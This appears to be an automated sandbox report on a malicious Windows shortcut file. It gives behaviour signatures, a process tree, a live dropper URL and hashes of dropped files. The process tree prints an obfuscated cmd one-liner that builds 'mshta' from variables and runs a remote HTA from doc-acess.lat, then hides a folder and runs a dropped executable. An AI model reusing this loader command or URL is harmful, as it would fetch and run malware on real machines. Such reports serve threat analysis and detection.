Analysis

  • max time kernel
    9s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:44

General

  • Target
    LeXNET-DOC-RVOTIP.lnk
  • Size 1KB
  • Sample260803-q16dea1arg
  • SHA256 25807491a24be000426a4b4c7737ee6d344fded2df1ed59ec05140ea4c1aeea1
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 16 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\LeXNET-DOC-RVOTIP.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4256
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /V:on /c "set jx=msh&&set hBSe=ta&&start "" !jx!!hBSe! https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1688
      • C:\Windows\System32\mshta.exe
        mshta https://doc-acess.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
        • Badlisted process makes network request
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:4216
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:1872
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            PID:1596
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:5720
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:4144
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                5⤵
                  PID:3204
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                • Modifies Internet Explorer settings
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:1884
                • C:\Windows\system32\rundll32.exe
                  C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                  5⤵
                  • Modifies registry class
                  PID:5404
              • C:\Windows\System32\attrib.exe
                "C:\Windows\System32\attrib.exe" +h +s "C:\fkulvamz\"
                4⤵
                • Views/modifies file attributes
                PID:2768
              • C:\fkulvamz\fkulvamz.exe
                "C:\fkulvamz\fkulvamz.exe" C:\fkulvamz\fkulvamz
                4⤵
                  PID:5492
                • C:\Windows\System32\rundll32.exe
                  "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                  4⤵
                    PID:1072
                    • C:\Windows\system32\rundll32.exe
                      C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                      5⤵
                        PID:4376
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                      4⤵
                      • Executes a command shell one-liner
                      • System Network Configuration Discovery: Internet Connection Discovery
                      PID:4212
                      • C:\Windows\System32\PING.EXE
                        ping -n 300 -w 1000 127.0.0.1
                        5⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:4220

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    050181E8A7D6C35C06DF1414C779370A

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\050181E8A7D6C35C06DF1414C779370A
                    • Size 542B
                    • SHA256 0b16ece4859331ac4f1da2612feb71c27a833b5193108286ea909c69197f0b0f
                    • MD5 SHA1 SHA512 TLSH

                    8B2B9A00839EED1DFDCCC3BFC2F5DF12

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                    • Size 1KB
                    • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                    • MD5 SHA1 SHA512 TLSH

                    B46811C17859FFB409CF0E904A4AA8F8

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
                    • Size 528B
                    • SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
                    • MD5 SHA1 SHA512 TLSH

                    050181E8A7D6C35C06DF1414C779370A

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\050181E8A7D6C35C06DF1414C779370A
                    • Size 192B
                    • SHA256 440418bfce3a7b3f807792c58e6f339441d8a64431a0b091164e0f93e2bee392
                    • MD5 SHA1 SHA512 TLSH

                    8B2B9A00839EED1DFDCCC3BFC2F5DF12

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
                    • Size 174B
                    • SHA256 ef0352104e30a73bef7971fa393f27e037d68a15c2893e5def196c765a739dff
                    • MD5 SHA1 SHA512 TLSH

                    B46811C17859FFB409CF0E904A4AA8F8

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
                    • Size 170B
                    • SHA256 a983491f220453e8e91d82ddb3c6828282ed960a2a0221c9d08fdbe87e47bbc8
                    • MD5 SHA1 SHA512 TLSH

                    a1.zip

                    • Path C:\fkulvamz\a1.zip
                    • Size 494KB
                    • SHA256 4bae16ed700b180950cf4089879bf10844d7827b1716b000cbca8be1111c3162
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    a2.zip

                    • Path C:\fkulvamz\a2.zip
                    • Size 1.3MB
                    • SHA256 de40dd8452379b8b617091755cb5b73fb0a11d4c6cae43d08a5689a00432b000
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    a3.zip

                    • Path C:\fkulvamz\a3.zip
                    • Size 2KB
                    • SHA256 ce76cc99b3bd7e1999a347edc473ee4310651f45b81b78928fa407119fb63581
                    • MD5 SHA1 SHA512 TLSH

                    fkulvamz

                    • Path C:\fkulvamz\fkulvamz
                    • Size 1.3MB
                    • SHA256 c7f22abb4ddd7fdb324bf80faa5449654a899c22ffc5ab8d5988be10e4a51ea4
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    fkulvamz.exe

                    • Path C:\fkulvamz\fkulvamz.exe
                    • Size 957KB
                    • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/5492-116-0x0000000005FF0000-0x00000000061B8000-memory.dmp